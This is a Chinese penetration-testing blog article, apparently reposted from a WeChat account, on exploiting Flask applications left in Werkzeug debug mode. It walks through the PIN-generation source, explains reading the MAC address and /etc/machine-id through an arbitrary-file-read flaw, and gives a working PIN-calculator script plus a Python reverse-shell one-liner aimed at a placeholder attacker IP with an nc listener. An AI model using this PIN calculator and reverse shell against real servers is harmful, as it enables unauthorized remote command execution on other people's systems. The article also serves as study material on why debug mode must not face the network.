渗透系列之flask框架开启debug模式漏洞分析

  • A+
所属分类:安全文章
渗透系列之flask框架开启debug模式漏洞分析

声明:公众号大部分文章来自团队核心成员和知识星球成员,少部分文章经过原作者授权和其它公众号白名单转载。未经授权,严禁转载,如需转载,请联系开白!

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者及本公众号无关!!!






START

0x01渗透案例引发的研究思路

1、 日常渗透发现进入到一处系统的后台,随意点击了后台的一处功能,触发了该系统的debug,如下图所示:

渗透系列之flask框架开启debug模式漏洞分析

渗透系列之flask框架开启debug模式漏洞分析

2、 点击报错代码显示的黑框框(输入框),弹出一个需要输入pin码的输入框,如下图所示(现在环境无法复现所以找了一个历史案例图):

渗透系列之flask框架开启debug模式漏洞分析

3、 经过查阅flask的debug模式的相关资料,发现我们如果成功获取pin码,可以在报错页面执行任意代码,但是我们现在无法获取pin码,那我们在本地开启一个简单的flask应用看看pin码到底是怎么产生的。


Flask代码如下:

from flask import Flask
app = Flask(__name__)@app.route('/')def hello_word(): return Noneif __name__ == '__main__':app.run(host='0.0.0.0', port=9003, debug=True)

渗透系列之flask框架开启debug模式漏洞分析


经过测试,同一台机器上多次启动同一个flask应用时,这个生成的pin码是固定的,是由一些固定的值进行生成的,不如直接去看flask源码是如何写的:

 

用pycharm在app.run下好断点,开启debug模式

由于代码写的还是相当官方的,很容易就能找到生成pin码的部分,代码所在的路径为: C:Python27Libsite-packageswerkzeugdebug,其中关键的函数get_pin_and_cookie_name()如下:

渗透系列之flask框架开启debug模式漏洞分析


 def get_pin_and_cookie_name(app):    """Given an application object this returns a semi-stable 9 digit pin    code and a random key.  The hope is that this is stable between    restarts to not make debugging particularly frustrating.  If the pin    was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering. """ pin = os.environ.get('WERKZEUG_DEBUG_PIN') rv = None num = None
# Pin was explicitly disabled if pin == 'off': return None, None
# Pin was provided explicitly if pin is not None and pin.replace('-', '').isdigit(): # If there are separators in the pin, return it directly if '-' in pin: rv = pin else: num = pin
modname = getattr(app, '__module__', getattr(app.__class__, '__module__'))
try: # `getpass.getuser()` imports the `pwd` module, # which does not exist in the Google App Engine sandbox. username = getpass.getuser() except ImportError: username = None
mod = sys.modules.get(modname)
# This information only exists to make the cookie unique on the # computer, not as a security feature. probably_public_bits = [ username, modname, getattr(app, '__name__', getattr(app.__class__, '__name__')), getattr(mod, '__file__', None), ]
# This information is here to make it harder for an attacker to # guess the cookie name. They are unlikely to be contained anywhere # within the unauthenticated debug page. private_bits = [ str(uuid.getnode()), get_machine_id(), ]
h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, text_type): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
# If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
# Format the pincode in groups of digits for easier remembering if # we don't have a result yet. if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
return rv, cookie_name


return的rv变量就是生成的pin码

最主要的就是这一段哈希部分:

for bit in chain(probably_public_bits, private_bits):    if not bit:        continue    if isinstance(bit, text_type):        bit = bit.encode('utf-8')    h.update(bit)h.update(b'cookiesalt')

连接了两个列表,然后循环里面的值做哈希,这两个列表的定义:

probably_public_bits = [        username,        modname,        getattr(app, '__name__', getattr(app.__class__, '__name__')),        getattr(mod, '__file__', None),    ]
private_bits = [ str(uuid.getnode()), get_machine_id(), ]


1、probably_public_bits包含4个字段,分别为username,modname,getattr(app, “name“, app.class.name),getattr(mod, “file“, None),其中username对应的值为当前主机的用户名,modname的值为’flask.app’,getattr(app, “name“, app.class.name)对应的值为’Flask’,getattr(mod, “file“, None)对应的值为app包的绝对路径。

2、private_bits包含两个字段,分别为str(uuid.getnode())和get_machine_id(),其中str(uuid.getnode())为网卡mac地址的十进制值,在linux系统下得到存储位置为/sys/class/net/ens33(对应网卡)/address,get_machine_id()的值为当前机器唯一的机器码,在linux系统下的存储位置为/etc/machine-id

 

当我们获取到这六个参数的值时,就可以通过脚本推算出生成的pin码,然后进行任意命令执行。


0x02漏洞利用

1、flask debug模式无开启pin码验证

可直接进入交互式的python shell 进行命令执行。 

 

2、flask debug模式开启了pin码验证

1、一般都是需要通过任意文件读取读取到生成pin码private_bits()所需要的2个参数值。

2、通过debug报错代码获取到public_bits()所需要的4个参数值。

3、然后使用以下payload计算出pin:

import hashlibfrom itertools import chainprobably_public_bits = [    'Administrator',# username    'flask.app',# modname    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))    'C:UsersAdministratorPycharmProjectssecurritystudyvenvlibsite-packagesflaskapp.py' # getattr(mod, '__file__', None),]
private_bits = [ '106611682152170',# str(uuid.getnode()), /sys/class/net/ens33/address b'6893142a-ab05-4293-86f9-89df10a4361b'# get_machine_id(), /etc/machine-id]
h = hashlib.md5()for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit)h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = Noneif num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =Noneif rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num
print(rv)
如下图所示:

渗透系列之flask框架开启debug模式漏洞分析

4、 然后就可以进入交互式的python shell进行命令执行。

 

比如使用python进行反弹shell。

步骤如下:

1、 在攻击机(A)上开启一个nc监听端口。

Nc -lvvp 8888

2、 在debug的console页面上输入python反弹shell的代码进行反弹到攻击机上。

代码如下:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);


0x03总结

1、正常flask开启了debug模式,如果没有开启pin码进行校验,可直接获取python交互式shell进行命令执行

 

2、 flask开启了debug模式,但是开启了pin码校验,如果对应的flask应用没有任意文件读取的漏洞是无法获取到生成pin所需要的6个参数值的,无法获取交互式python shell。

 

3、flask开启了debug模式,且开启了pin码校验,且对应的应用存在任意文件读取的漏洞,可以通过文件读取获取到username、modname、getattr(app, '__name__', getattr(app.__class__, '__name__'))、getattr(mod, '__file__', None)、str(uuid.getnode()),  /sys/class/net/ens33/address、get_machine_id(), /etc/machine-id,从而通过脚本生成pin码,然后获取python交互式shell,进行命令执行.


0x04参考链接

https://zhuanlan.zhihu.com/p/32138231

https://xz.aliyun.com/t/2553#toc-2

https://www.dazhuanlan.com/2019/12/05/5de8c90ee03dd/?__cf_chl_jschl_tk__=6297c338db1048cd0af15fe375956340bbce6156-1601270282-0-AYlx_7583zw_1g7Q7rHBo6L-5t4evM5Lw4yjLav_1CEFCn2PNq0qWkKcsYK95Fw5Lsvt88XATE26KexsrJSlK2wtY9TIZuC7abxIwJwGkWA-rxP2nUqdchaz6qWeVQ_ucUTxsM0ft5q69yMs6_c13NWXUy5Jb7DyUQ-CSKNuICy02DrQsVA46eUtnxT0XWHA0twB2tYuqlf1i-ZNGgzgatTZvV69ltExMrWUWx8IGM7jmF6I2FihCIJ1-tsebIL0w6xG_jZFNeS-UJVk3C8iozHdWkde0sARVUJJ4SNlUE63B5yxxDwpb6Ukl_OAseGo9w







END


免费星球:要求每个人在两周内输出一篇文章发到星球里面,文章为星球成员自己整理的内容,如超过两周没有文章输出的将被拉黑一个月,超过3次将被踢出星球,永久禁止加入!

收费星球:进入的星球成员可以在里面学习一年,包括贝塔安全实验室整理好的学习资料,可让星球管理及合伙人邀请加入免费星球,可以不用发文章,加入的免费星球免踢一年!

渗透系列之flask框架开启debug模式漏洞分析

渗透系列之flask框架开启debug模式漏洞分析

渗透系列之flask框架开启debug模式漏洞分析


本文始发于微信公众号(贝塔安全实验室):渗透系列之flask框架开启debug模式漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: